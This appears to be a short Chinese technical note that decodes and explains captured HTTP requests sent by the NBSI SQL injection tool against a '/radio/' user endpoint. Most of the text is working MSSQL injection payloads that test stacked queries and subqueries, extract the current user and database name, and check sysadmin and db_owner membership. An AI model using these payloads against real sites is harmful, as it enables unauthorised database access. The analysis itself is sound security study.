sql 注射 nbsi分析

根据抓包结果

1.GET /radio/?mode=user&userid=3%20and%20user%2Bchar(124)=0 HTTP/1.1
解释为
/radio/?mode=user&userid=3 and user+char(124)=0
%2B  = +
char(124) = |
2.GET /radio/?mode=user&userid=3;declare%20@a%20int-- HTTP/1.1
判断是否支持多句查询
./radio/?mode=user&userid=3;declare @a int--
3.GET  /radio/?mode=user&userid=3%20and%20(Select%20count(1)%20from%20[sysobjects])>=0 HTTP/1.1
 /radio/?mode=user&userid=3 and (Select count(1) from [sysobjects])>=0
判断是否支持子查询
4.同1
取得当前用户
5.GET/radio/?mode=user&userid=3%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)

/radio/?mode=user&userid=3 And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1

IS_SRVROLEMEMBER指明当前的用户登录是否是指定的服务器角色的成员。
IS_SRVROLEMEMBER ( 'role' [ , 'login' ] )

6.GET /radio/?mode=user&userid=3%20And%20Cast(IS_MEMBER(0x640062005F006F0077006E0065007200)%20as%20varchar(1))%2Bchar(124)=1

/radio/?mode=user&userid=3 And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))+char(124)=1

判断用户权限

7.GET /radio/?mode=user&userid=3%20And%20db_name()%2Bchar(124)=0 HTTP/1.1
/radio/?mode=user&userid=3 And db_name()+char(124)=0
获取数据库名